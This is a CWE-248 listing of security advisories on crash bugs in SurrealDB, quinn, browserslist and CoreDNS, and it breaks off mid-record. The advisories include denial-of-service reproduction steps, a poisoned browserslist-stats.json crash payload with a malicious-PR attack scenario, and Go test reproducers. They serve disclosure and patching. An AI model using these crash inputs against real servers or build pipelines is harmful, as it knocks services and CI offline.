CWE-248
AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
651 vulnerabilities reference this CWE, most recent first.
GHSA-6WR5-JMPR-MJCX
Vulnerability from github – Published: 2024-02-21 00:03 – Updated: 2024-02-21 00:03The query executor would panic when executing a query containing a call to a built-in SurrealDB function that did not exist. This could occur accidentally in situations where the version of the SurrealDB client was newer than the SurrealDB server or when a pre-parsed query was provided to the server via a newer version of the SurrealDB SDK.
Impact
A client that is authorized to run queries in a SurrealDB server is able to craft and execute a pre-parsed query invoking a nonexistent built-in function, which will cause a panic. This will crash the server, leading to denial of service.
Patches
- Version 1.2.0 and later are not affected by this issue.
Workarounds
Concerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.
References
-
3454
- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65755
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.1"
},
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T00:03:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The query executor would panic when executing a query containing a call to a built-in SurrealDB function that did not exist. This could occur accidentally in situations where the version of the SurrealDB client was newer than the SurrealDB server or when a pre-parsed query was provided to the server via a newer version of the SurrealDB SDK.\n\n### Impact\n\nA client that is authorized to run queries in a SurrealDB server is able to craft and execute a pre-parsed query invoking a nonexistent built-in function, which will cause a panic. This will crash the server, leading to denial of service.\n\n### Patches\n\n- Version 1.2.0 and later are not affected by this issue.\n\n### Workarounds\n\nConcerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\n### References\n\n- #3454\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65755",
"id": "GHSA-6wr5-jmpr-mjcx",
"modified": "2024-02-21T00:03:06Z",
"published": "2024-02-21T00:03:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-6wr5-jmpr-mjcx"
},
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/pull/3454"
},
{
"type": "WEB",
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65755"
},
{
"type": "PACKAGE",
"url": "https://github.com/surrealdb/surrealdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncaught Exception in Macro Expecting Native Function to Exist"
}
GHSA-6XVM-J4WR-6V98
Vulnerability from github – Published: 2026-03-11 00:09 – Updated: 2026-03-11 05:46Summary
A remote, unauthenticated attacker can trigger a denial of service in applications using vulnerable quinn versions by sending a crafted QUIC Initial packet containing malformed quic_transport_parameters. In quinn-proto parsing logic, attacker-controlled varints are decoded with unwrap(), so truncated encodings cause Err(UnexpectedEnd) and panic. This is reachable over the network with a single packet and no prior trust or authentication.
Details
The issue is panic-on-untrusted-input in QUIC transport parameter parsing.
In quinn-proto (observed in quinn-proto 0.11.13), parsing of some transport parameters uses a fallible varint decode followed by unwrap(). For malformed/truncated parameter values, decode returns UnexpectedEnd, and unwrap() panics.
Observed output:
thread 'tokio-rt-worker' (2366474) panicked at quinn-proto/src/transport_parameters.rs:473:67:
called `Result::unwrap()` on an `Err` value: UnexpectedEnd
PoC
Reproduces against the upstream Quinn server example.
- Start server:
cargo run --example server -- ./
- Prepare PoC client environment:
python3 -m venv .venv
source .venv/bin/activate
pip install aioquic
- Run PoC script attack.py against server QUIC listener (default example target shown):
python attack.py
Observed output
thread 'tokio-rt-worker' (2366903) panicked at quinn-proto/src/transport_parameters.rs:473:67:
called `Result::unwrap()` on an `Err` value: UnexpectedEnd
Impact
Vulnerability type: Remote Denial of Service (panic/crash)
Attack requirements: Network reachability to UDP QUIC listener
Authentication/privileges: None
Who is impacted: Any server/application using affected quinn/quinn-proto versions where this parse path is reachable; process-level impact depends on integration panic handling policy
This vulnerability was originally submitted by @revofusion to the Ethereum Foundation bug bounty program
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "quinn-proto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31812"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:09:19Z",
"nvd_published_at": "2026-03-10T22:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote, unauthenticated attacker can trigger a denial of service in applications using vulnerable `quinn` versions by sending a crafted QUIC Initial packet containing malformed `quic_transport_parameters`. `In quinn-proto` parsing logic, attacker-controlled varints are decoded with `unwrap()`, so truncated encodings cause `Err(UnexpectedEnd)` and `panic`. This is reachable over the network with a single packet and no prior trust or authentication.\n\n### Details\nThe issue is panic-on-untrusted-input in QUIC transport parameter parsing.\nIn `quinn-proto` (observed in `quinn-proto 0.11.13`), parsing of some transport parameters uses a fallible varint decode followed by `unwrap()`. For malformed/truncated parameter values, decode returns `UnexpectedEnd`, and `unwrap()` panics.\n\n#### Observed output:\n```\nthread \u0027tokio-rt-worker\u0027 (2366474) panicked at quinn-proto/src/transport_parameters.rs:473:67:\ncalled `Result::unwrap()` on an `Err` value: UnexpectedEnd\n```\n\n### PoC\n#### Reproduces against the upstream Quinn server example.\n1. Start server:\n```\ncargo run --example server -- ./\n```\n2. Prepare PoC client environment:\n```\npython3 -m venv .venv\nsource .venv/bin/activate\npip install aioquic\n```\n3. Run PoC script [attack.py](https://github.com/user-attachments/files/25741713/attack.py) against server QUIC listener (default example target shown):\n```\npython attack.py\n```\n#### Observed output\n```\nthread \u0027tokio-rt-worker\u0027 (2366903) panicked at quinn-proto/src/transport_parameters.rs:473:67:\ncalled `Result::unwrap()` on an `Err` value: UnexpectedEnd\n```\n\n\n\n### Impact\nVulnerability type: Remote Denial of Service (panic/crash)\nAttack requirements: Network reachability to UDP QUIC listener\nAuthentication/privileges: None\nWho is impacted: Any server/application using affected `quinn/quinn-proto` versions where this parse path is reachable; process-level impact depends on integration panic handling policy\n\n\nThis vulnerability was originally submitted by @revofusion to the Ethereum Foundation bug bounty program",
"id": "GHSA-6xvm-j4wr-6v98",
"modified": "2026-03-11T05:46:01Z",
"published": "2026-03-11T00:09:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quinn-rs/quinn/security/advisories/GHSA-6xvm-j4wr-6v98"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31812"
},
{
"type": "WEB",
"url": "https://github.com/quinn-rs/quinn/pull/2559"
},
{
"type": "PACKAGE",
"url": "https://github.com/quinn-rs/quinn"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0037.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Quinn affected by unauthenticated remote DoS via panic in QUIC transport parameter parsing"
}
GHSA-73WF-GQ98-2V4G
Vulnerability from github – Published: 2026-09-01 16:41 – Updated: 2026-09-01 16:41Vulnerability Details
File: node.js
Function: normalizeStats() (line ~214), reached from getStat() (called
unconditionally on every browserslist() call) and loadStat()
Root Cause
function normalizeStats(data, stats) {
if (!data) { data = {} }
if (stats && 'dataByBrowser' in stats) { stats = stats.dataByBrowser }
if (typeof stats !== 'object') return undefined
var normalized = {}
for (var i in stats) {
var versions = Object.keys(stats[i])
if (versions.length === 1 && data[i] && data[i].versions.length === 1) {
var normal = data[i].versions[0]
normalized[i] = {}
normalized[i][normal] = stats[i][versions[0]]
} else {
normalized[i] = stats[i]
}
}
return normalized
}
stats is untrusted: it comes from JSON.parse()-ing a
browserslist-stats.json file — auto-discovered by walking up the directory
tree from the project root on every browserslist() call, regardless of
the query (env.getStat(opts, browserslist.data) runs unconditionally
inside browserslist()) — or from opts.stats passed programmatically /
via the CLI's --stats= flag. data is browserslist.data, a plain object
populated only with real browser names.
Two independent bugs from the same root cause (unguarded for...in over
untrusted keys used with plain-object bracket access/assignment):
- Crash:
data[i]has nohasOwnPropertyguard. Ifstatscontains a key that also happens to be an inheritedObject.prototypemember name —"__proto__","toString","valueOf","constructor","hasOwnProperty","isPrototypeOf", etc. —data[i]resolves to that inherited function/object (always truthy), and the code then doesdata[i].versions.length→undefined.length→ uncaughtTypeError, for any such key whose JSON value has exactly one sub-key, e.g.:json { "toString": { "onekey": 5 }, "chrome": { "100": 50 } } - Prototype write:
normalized[i] = ...on the freshnormalized = {}— ifiis exactly"__proto__"(andnormalizedhas no own property by that name yet), this computed assignment invokes the realObject.prototype.__proto__setter, changingnormalized's actual[[Prototype]]instead of creating a plain property.
Because this runs on every browserslist() call regardless of the
query, simply committing a poisoned browserslist-stats.json anywhere in a
project's directory tree breaks every subsequent Browserslist call in that
project — including calls made by Autoprefixer, Babel preset-env,
Stylelint, or PostCSS internally, for completely unrelated queries.
Attack Scenario
- Attacker submits a PR (or a compromised dependency) adding a
browserslist-stats.jsonfile anywhere between the project root and filesystem root, containing e.g.{"toString": {"onekey": 5}, "chrome": {"100": 50}}. - The victim's build/CI pipeline runs any tool that calls
browserslist()internally, for any query. - The auto-discovered poisoned file crashes the process with an uncaught
TypeErroron the very first call.
Measured Impact
Confirmed crash (real browserslist() call, v4.28.6) with stats keys:
__proto__, toString, valueOf, hasOwnProperty, constructor,
isPrototypeOf — each paired with a one-key JSON object — for any query,
including browserslist('defaults') which never mentions stats.
Recommended Fix (implemented and verified)
var normalized = Object.create(null)
for (var i in stats) {
var versions = Object.keys(stats[i])
var known = Object.prototype.hasOwnProperty.call(data, i) && data[i]
if (versions.length === 1 && known && known.versions.length === 1) {
var normal = known.versions[0]
normalized[i] = Object.create(null)
normalized[i][normal] = stats[i][versions[0]]
} else {
normalized[i] = stats[i]
}
}
return normalized
normalized uses Object.create(null) so a write to "__proto__" is an
ordinary property set, never a [[Prototype]] change; data[i] is replaced
with an explicit hasOwnProperty check so it never resolves to an inherited
Object.prototype member.
Verification:
- NODE_ENV=test npx uvu test .test.js → 301/301 pass unmodified
(test/custom.test.js, test/shareable-stats.test.js, test/cover.test.js
exercise the stats-handling paths).
- All 6 previously crash-inducing keys, tested individually, now resolve
without error.
- The realistic file-based auto-discovery scenario (poisoned
browserslist-stats.json + an unrelated browserslist('defaults') call)
now returns a normal result instead of crashing.
Impact
- Who is affected: Any project whose build/CI invokes Browserslist
(directly or via Autoprefixer/Babel/Stylelint/PostCSS) in a directory tree
an attacker can place a file into (external PR, compromised dependency),
or any app that passes user-influenced data into
opts.stats. - What an attacker achieves: Immediate DoS — crashes the invoking process on the first Browserslist call after the file is present, for any query, no special syntax needed.
- Conditions required: No authentication — only the ability to add a
file to the project's directory tree, or influence
opts.stats.
Verification Environment
browserslist @ HEAD (== v4.28.6, current latest stable release) under local Node.js v20.19.5. Pure JS library — executed directly, no server needed.
Note
Found via a systematic review of prototype-pollution-adjacent patterns in
this codebase after confirming two unrelated algorithmic-complexity issues
(reported separately as GHSA-rrmg-cfrq-23vv and GHSA-g6p8-hj8g-x889) in the
same research pass. A similar for...in + bracket-write pattern in
index.js's copyObject() (used by normalizeAndroidData) was already
guarded against __proto__/constructor/prototype keys by a prior,
unrelated commit — that guard was never applied to this function.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.28.6"
},
"package": {
"ecosystem": "npm",
"name": "browserslist"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.28.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73088"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T16:41:54Z",
"nvd_published_at": "2026-08-11T17:19:16Z",
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n**File**: `node.js`\n**Function**: `normalizeStats()` (line ~214), reached from `getStat()` (called\n**unconditionally** on every `browserslist()` call) and `loadStat()`\n\n### Root Cause\n```js\nfunction normalizeStats(data, stats) {\n if (!data) { data = {} }\n if (stats \u0026\u0026 \u0027dataByBrowser\u0027 in stats) { stats = stats.dataByBrowser }\n if (typeof stats !== \u0027object\u0027) return undefined\n\n var normalized = {}\n for (var i in stats) {\n var versions = Object.keys(stats[i])\n if (versions.length === 1 \u0026\u0026 data[i] \u0026\u0026 data[i].versions.length === 1) {\n var normal = data[i].versions[0]\n normalized[i] = {}\n normalized[i][normal] = stats[i][versions[0]]\n } else {\n normalized[i] = stats[i]\n }\n }\n return normalized\n}\n```\n`stats` is untrusted: it comes from `JSON.parse()`-ing a\n`browserslist-stats.json` file \u2014 auto-discovered by walking up the directory\ntree from the project root **on every `browserslist()` call, regardless of\nthe query** (`env.getStat(opts, browserslist.data)` runs unconditionally\ninside `browserslist()`) \u2014 or from `opts.stats` passed programmatically /\nvia the CLI\u0027s `--stats=` flag. `data` is `browserslist.data`, a plain object\npopulated only with real browser names.\n\nTwo independent bugs from the same root cause (unguarded `for...in` over\nuntrusted keys used with plain-object bracket access/assignment):\n\n1. **Crash**: `data[i]` has no `hasOwnProperty` guard. If `stats` contains a\n key that also happens to be an inherited `Object.prototype` member name \u2014\n `\"__proto__\"`, `\"toString\"`, `\"valueOf\"`, `\"constructor\"`,\n `\"hasOwnProperty\"`, `\"isPrototypeOf\"`, etc. \u2014 `data[i]` resolves to that\n inherited function/object (always truthy), and the code then does\n `data[i].versions.length` \u2192 `undefined.length` \u2192 **uncaught `TypeError`**,\n for any such key whose JSON value has exactly one sub-key, e.g.:\n ```json\n { \"toString\": { \"onekey\": 5 }, \"chrome\": { \"100\": 50 } }\n ```\n2. **Prototype write**: `normalized[i] = ...` on the fresh\n `normalized = {}` \u2014 if `i` is exactly `\"__proto__\"` (and `normalized` has\n no own property by that name yet), this computed assignment invokes the\n real `Object.prototype.__proto__` setter, changing `normalized`\u0027s actual\n `[[Prototype]]` instead of creating a plain property.\n\nBecause this runs on **every** `browserslist()` call regardless of the\nquery, simply committing a poisoned `browserslist-stats.json` anywhere in a\nproject\u0027s directory tree breaks every subsequent Browserslist call in that\nproject \u2014 including calls made by Autoprefixer, Babel `preset-env`,\nStylelint, or PostCSS internally, for completely unrelated queries.\n\n### Attack Scenario\n1. Attacker submits a PR (or a compromised dependency) adding a\n `browserslist-stats.json` file anywhere between the project root and\n filesystem root, containing e.g.\n `{\"toString\": {\"onekey\": 5}, \"chrome\": {\"100\": 50}}`.\n2. The victim\u0027s build/CI pipeline runs any tool that calls `browserslist()`\n internally, for **any** query.\n3. The auto-discovered poisoned file crashes the process with an uncaught\n `TypeError` on the very first call.\n\n### Measured Impact\nConfirmed crash (real `browserslist()` call, v4.28.6) with `stats` keys:\n`__proto__`, `toString`, `valueOf`, `hasOwnProperty`, `constructor`,\n`isPrototypeOf` \u2014 each paired with a one-key JSON object \u2014 for any query,\nincluding `browserslist(\u0027defaults\u0027)` which never mentions stats.\n\n### Recommended Fix (implemented and verified)\n```js\nvar normalized = Object.create(null)\nfor (var i in stats) {\n var versions = Object.keys(stats[i])\n var known = Object.prototype.hasOwnProperty.call(data, i) \u0026\u0026 data[i]\n if (versions.length === 1 \u0026\u0026 known \u0026\u0026 known.versions.length === 1) {\n var normal = known.versions[0]\n normalized[i] = Object.create(null)\n normalized[i][normal] = stats[i][versions[0]]\n } else {\n normalized[i] = stats[i]\n }\n}\nreturn normalized\n```\n`normalized` uses `Object.create(null)` so a write to `\"__proto__\"` is an\nordinary property set, never a `[[Prototype]]` change; `data[i]` is replaced\nwith an explicit `hasOwnProperty` check so it never resolves to an inherited\n`Object.prototype` member.\n\n**Verification**:\n- `NODE_ENV=test npx uvu test .test.js` \u2192 301/301 pass unmodified\n (`test/custom.test.js`, `test/shareable-stats.test.js`, `test/cover.test.js`\n exercise the stats-handling paths).\n- All 6 previously crash-inducing keys, tested individually, now resolve\n without error.\n- The realistic file-based auto-discovery scenario (poisoned\n `browserslist-stats.json` + an unrelated `browserslist(\u0027defaults\u0027)` call)\n now returns a normal result instead of crashing.\n\n### Impact\n- **Who is affected**: Any project whose build/CI invokes Browserslist\n (directly or via Autoprefixer/Babel/Stylelint/PostCSS) in a directory tree\n an attacker can place a file into (external PR, compromised dependency),\n or any app that passes user-influenced data into `opts.stats`.\n- **What an attacker achieves**: Immediate DoS \u2014 crashes the invoking\n process on the first Browserslist call after the file is present, for any\n query, no special syntax needed.\n- **Conditions required**: No authentication \u2014 only the ability to add a\n file to the project\u0027s directory tree, or influence `opts.stats`.\n\n### Verification Environment\nbrowserslist @ HEAD (== v4.28.6, current latest stable release) under local\nNode.js v20.19.5. Pure JS library \u2014 executed directly, no server needed.\n\n### Note\nFound via a systematic review of prototype-pollution-adjacent patterns in\nthis codebase after confirming two unrelated algorithmic-complexity issues\n(reported separately as GHSA-rrmg-cfrq-23vv and GHSA-g6p8-hj8g-x889) in the\nsame research pass. A similar `for...in` + bracket-write pattern in\n`index.js`\u0027s `copyObject()` (used by `normalizeAndroidData`) was already\nguarded against `__proto__`/`constructor`/`prototype` keys by a prior,\nunrelated commit \u2014 that guard was never applied to this function.",
"id": "GHSA-73wf-gq98-2v4g",
"modified": "2026-09-01T16:41:54Z",
"published": "2026-09-01T16:41:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/browserslist/browserslist/security/advisories/GHSA-73wf-gq98-2v4g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73088"
},
{
"type": "WEB",
"url": "https://github.com/browserslist/browserslist/commit/f9914ad9effc865ccc27d816255625890b31ca51"
},
{
"type": "PACKAGE",
"url": "https://github.com/browserslist/browserslist"
},
{
"type": "WEB",
"url": "https://github.com/browserslist/browserslist/releases/tag/4.28.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats)"
}
GHSA-74W3-63XV-X9MV
Vulnerability from github – Published: 2026-10-16 19:26 – Updated: 2026-10-16 19:26Summary
A network DNS client allowed to request AXFR for a CoreDNS zone can trigger a panic when CoreDNS is configured with k8s_external headless-service zone transfers and Kubernetes contains a headless service endpoint with no declared ports. The built-in k8s_external transferer can emit an empty []dns.RR batch, and the shared transfer plugin indexes records[0] without checking that the batch is non-empty. In normal CoreDNS mode the panic is recovered and returned as SERVFAIL, but repeated triggering can disrupt requests and amplify panic logging; if the debug plugin disables recovery, the same path can crash the CoreDNS process.
Details
plugin/transfer/transfer.go assumes that every Transferer emits only non-empty []dns.RR batches. During AXFR/IXFR response generation it indexes records[0] without checking the slice length:
plugin/transfer/transfer.go:129-131
for records := range pchan {
if x, ok := records[0].(*dns.SOA); ok && soa == nil {
soa = x
}
The built-in k8s_external transferer violates that contract for headless services whose endpoints have no declared ports. plugin/k8s_external/transfer.go sends the SRV result slice unconditionally:
plugin/k8s_external/transfer.go:104-106
recs, _ := e.srv(ctx, svcs, s)
ch <- recs
plugin/k8s_external/msg_to_dns.go intentionally skips services whose port is -1:
plugin/k8s_external/msg_to_dns.go:107-112
for _, s := range services {
// Don't add the entry if the port is -1 (invalid). The kubernetes plugin uses port -1 when a service/endpoint
// does not have any declared ports.
if s.Port == -1 {
continue
}
The Kubernetes EndpointSlice conversion creates that sentinel when an EndpointSlice has no ports:
plugin/kubernetes/object/endpoint.go:62-66
if len(ends.Ports) == 0 {
// Add sentinel if there are no ports.
e.Subsets[0].Ports = []EndpointPort{{Port: -1}}
This creates a built-in source-to-sink chain:
- Kubernetes EndpointSlice has ready addresses and no ports.
- CoreDNS
kubernetesconverts it to an endpoint withPort: -1. k8s_externalwithheadlessincludes that service in transfer data.k8s_external.Transfersends an empty SRV[]dns.RRbatch.transfer.ServeDNSindexesrecords[0]and panics.
Suggested remediation:
- In
plugin/transfer/transfer.go, skip or reject emptyrecordsbatches before indexingrecords[0]. - In
plugin/k8s_external/transfer.go, only sendrecswhenlen(recs) > 0in the headless endpoint and port/protocol paths. - Add regression tests covering
Port: -1headless services and empty transfer batches.
Example consumer-side guard:
for records := range pchan {
if len(records) == 0 {
continue
}
if x, ok := records[0].(*dns.SOA); ok && soa == nil {
soa = x
}
...
}
PoC
Safe local unit-level reproduction was performed. It does not contact external infrastructure and does not require a live Kubernetes cluster.
Reproducer A: the transfer sink panics on an empty batch
A temporary package test was added under plugin/transfer:
package transfer
import (
"context"
"fmt"
"testing"
"github.com/coredns/coredns/plugin/pkg/dnstest"
"github.com/coredns/coredns/plugin/test"
"github.com/miekg/dns"
)
type auditEmptyBatchTransferer struct{}
func (auditEmptyBatchTransferer) Transfer(zone string, serial uint32) (<-chan []dns.RR, error) {
if zone != "example.org." {
return nil, ErrNotAuthoritative
}
ch := make(chan []dns.RR, 3)
ch <- []dns.RR{test.SOA(fmt.Sprintf("%s 100 IN SOA ns.dns.%s hostmaster.%s %d 7200 1800 86400 100", zone, zone, zone, 1))}
ch <- []dns.RR{}
close(ch)
return ch, nil
}
func TestAuditEmptyTransferBatchPanics(t *testing.T) {
tr := &Transfer{
Transferers: []Transferer{auditEmptyBatchTransferer{}},
xfrs: []*xfr{{Zones: []string{"example.org."}, to: []string{"*"}}},
}
req := new(dns.Msg)
req.SetQuestion("example.org.", dns.TypeAXFR)
rec := dnstest.NewRecorder(&test.ResponseWriter{TCP: true})
defer func() {
if rec := recover(); rec == nil {
t.Fatal("expected empty transfer batch to panic")
}
}()
_, _ = tr.ServeDNS(context.Background(), rec, req)
}
Verification command and result:
$ go test ./plugin/transfer -run TestAuditEmptyTransferBatchPanics -count=1 -v
=== RUN TestAuditEmptyTransferBatchPanics
--- PASS: TestAuditEmptyTransferBatchPanics (0.00s)
PASS
ok github.com/coredns/coredns/plugin/transfer 0.005s
Reproducer B: the built-in k8s_external transferer emits the empty batch
A temporary package test was added under plugin/k8s_external:
package external
import (
"testing"
"time"
"github.com/coredns/coredns/plugin/etcd/msg"
"github.com/coredns/coredns/plugin/kubernetes"
"github.com/coredns/coredns/request"
"github.com/miekg/dns"
)
func TestAuditHeadlessNoPortTransferEmitsEmptyBatch(t *testing.T) {
e := New()
e.Zones = []string{"example.com."}
e.headless = true
e.externalAddrFunc = func(request.Request, bool) []dns.RR { return nil }
e.externalSerialFunc = func(string) uint32 { return 1 }
e.externalServicesFunc = func(string, bool) ([]msg.Service, map[string][]msg.Service) {
return nil, map[string][]msg.Service{
"/coredns/com/example/testns/headless/" + kubernetes.Endpoint: {{Host: "192.0.2.10", Port: -1, TTL: 5, Key: "/coredns/com/example/testns/headless/endpoint-a"}},
}
}
ch, err := e.Transfer("example.com.", 0)
if err != nil {
t.Fatalf("Transfer returned error: %v", err)
}
deadline := time.After(time.Second)
for {
select {
case batch, ok := <-ch:
if !ok {
t.Fatal("transfer closed before emitting an empty batch")
}
if len(batch) == 0 {
return
}
case <-deadline:
t.Fatal("timed out waiting for an empty batch")
}
}
}
Verification command and result:
$ go test ./plugin/k8s_external -run TestAuditHeadlessNoPortTransferEmitsEmptyBatch -count=1 -v
=== RUN TestAuditHeadlessNoPortTransferEmitsEmptyBatch
--- PASS: TestAuditHeadlessNoPortTransferEmitsEmptyBatch (0.00s)
PASS
ok github.com/coredns/coredns/plugin/k8s_external 0.012s
Additional focused verification:
$ go test ./plugin/transfer ./plugin/k8s_external ./plugin/kubernetes -run 'TestAudit|^$' -count=1 -v
ok github.com/coredns/coredns/plugin/transfer 0.006s
ok github.com/coredns/coredns/plugin/k8s_external 0.013s
ok github.com/coredns/coredns/plugin/kubernetes 0.116s
Affected package suites:
$ go test ./plugin/transfer ./plugin/k8s_external ./plugin/kubernetes -count=1
ok github.com/coredns/coredns/plugin/transfer 0.010s
ok github.com/coredns/coredns/plugin/k8s_external 0.011s
ok github.com/coredns/coredns/plugin/kubernetes 0.194s
Impact
A network client allowed to request AXFR for the affected zone can trigger a panic in CoreDNS when all prerequisites are present.
Required configuration/state:
example.com:53 {
kubernetes cluster.local
k8s_external example.com {
headless
}
transfer example.com {
to *
}
}
Additional prerequisite:
- The Kubernetes API state contains a headless-service endpoint represented by an EndpointSlice with ready addresses and no ports, producing CoreDNS
msg.Service{Port: -1}.
In normal CoreDNS mode, core/dnsserver/server.go:267-279 recovers the panic and returns SERVFAIL, so this is a request-level availability issue and panic/log amplification issue. If the debug plugin is enabled, the server disables the recovery path and this can crash the CoreDNS process.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.14.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.4"
},
{
"fixed": "1.14.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62994"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-755"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-16T19:26:42Z",
"nvd_published_at": "2026-07-16T20:16:47Z",
"severity": "LOW"
},
"details": "### Summary\n\nA network DNS client allowed to request AXFR for a CoreDNS zone can trigger a panic when CoreDNS is configured with `k8s_external` headless-service zone transfers and Kubernetes contains a headless service endpoint with no declared ports. The built-in `k8s_external` transferer can emit an empty `[]dns.RR` batch, and the shared `transfer` plugin indexes `records[0]` without checking that the batch is non-empty. In normal CoreDNS mode the panic is recovered and returned as `SERVFAIL`, but repeated triggering can disrupt requests and amplify panic logging; if the `debug` plugin disables recovery, the same path can crash the CoreDNS process.\n\n### Details\n\n`plugin/transfer/transfer.go` assumes that every `Transferer` emits only non-empty `[]dns.RR` batches. During AXFR/IXFR response generation it indexes `records[0]` without checking the slice length:\n\n- `plugin/transfer/transfer.go:129-131`\n\n```go\nfor records := range pchan {\n if x, ok := records[0].(*dns.SOA); ok \u0026\u0026 soa == nil {\n soa = x\n }\n```\n\nThe built-in `k8s_external` transferer violates that contract for headless services whose endpoints have no declared ports. `plugin/k8s_external/transfer.go` sends the SRV result slice unconditionally:\n\n- `plugin/k8s_external/transfer.go:104-106`\n\n```go\nrecs, _ := e.srv(ctx, svcs, s)\nch \u003c- recs\n```\n\n`plugin/k8s_external/msg_to_dns.go` intentionally skips services whose port is `-1`:\n\n- `plugin/k8s_external/msg_to_dns.go:107-112`\n\n```go\nfor _, s := range services {\n // Don\u0027t add the entry if the port is -1 (invalid). The kubernetes plugin uses port -1 when a service/endpoint\n // does not have any declared ports.\n if s.Port == -1 {\n continue\n }\n```\n\nThe Kubernetes EndpointSlice conversion creates that sentinel when an EndpointSlice has no ports:\n\n- `plugin/kubernetes/object/endpoint.go:62-66`\n\n```go\nif len(ends.Ports) == 0 {\n // Add sentinel if there are no ports.\n e.Subsets[0].Ports = []EndpointPort{{Port: -1}}\n```\n\nThis creates a built-in source-to-sink chain:\n\n1. Kubernetes EndpointSlice has ready addresses and no ports.\n2. CoreDNS `kubernetes` converts it to an endpoint with `Port: -1`.\n3. `k8s_external` with `headless` includes that service in transfer data.\n4. `k8s_external.Transfer` sends an empty SRV `[]dns.RR` batch.\n5. `transfer.ServeDNS` indexes `records[0]` and panics.\n\nSuggested remediation:\n\n1. In `plugin/transfer/transfer.go`, skip or reject empty `records` batches before indexing `records[0]`.\n2. In `plugin/k8s_external/transfer.go`, only send `recs` when `len(recs) \u003e 0` in the headless endpoint and port/protocol paths.\n3. Add regression tests covering `Port: -1` headless services and empty transfer batches.\n\nExample consumer-side guard:\n\n```go\nfor records := range pchan {\n if len(records) == 0 {\n continue\n }\n if x, ok := records[0].(*dns.SOA); ok \u0026\u0026 soa == nil {\n soa = x\n }\n ...\n}\n```\n\n### PoC\n\nSafe local unit-level reproduction was performed. It does not contact external infrastructure and does not require a live Kubernetes cluster.\n\n#### Reproducer A: the `transfer` sink panics on an empty batch\n\nA temporary package test was added under `plugin/transfer`:\n\n```go\npackage transfer\n\nimport (\n \"context\"\n \"fmt\"\n \"testing\"\n\n \"github.com/coredns/coredns/plugin/pkg/dnstest\"\n \"github.com/coredns/coredns/plugin/test\"\n\n \"github.com/miekg/dns\"\n)\n\ntype auditEmptyBatchTransferer struct{}\n\nfunc (auditEmptyBatchTransferer) Transfer(zone string, serial uint32) (\u003c-chan []dns.RR, error) {\n if zone != \"example.org.\" {\n return nil, ErrNotAuthoritative\n }\n ch := make(chan []dns.RR, 3)\n ch \u003c- []dns.RR{test.SOA(fmt.Sprintf(\"%s 100 IN SOA ns.dns.%s hostmaster.%s %d 7200 1800 86400 100\", zone, zone, zone, 1))}\n ch \u003c- []dns.RR{}\n close(ch)\n return ch, nil\n}\n\nfunc TestAuditEmptyTransferBatchPanics(t *testing.T) {\n tr := \u0026Transfer{\n Transferers: []Transferer{auditEmptyBatchTransferer{}},\n xfrs: []*xfr{{Zones: []string{\"example.org.\"}, to: []string{\"*\"}}},\n }\n\n req := new(dns.Msg)\n req.SetQuestion(\"example.org.\", dns.TypeAXFR)\n rec := dnstest.NewRecorder(\u0026test.ResponseWriter{TCP: 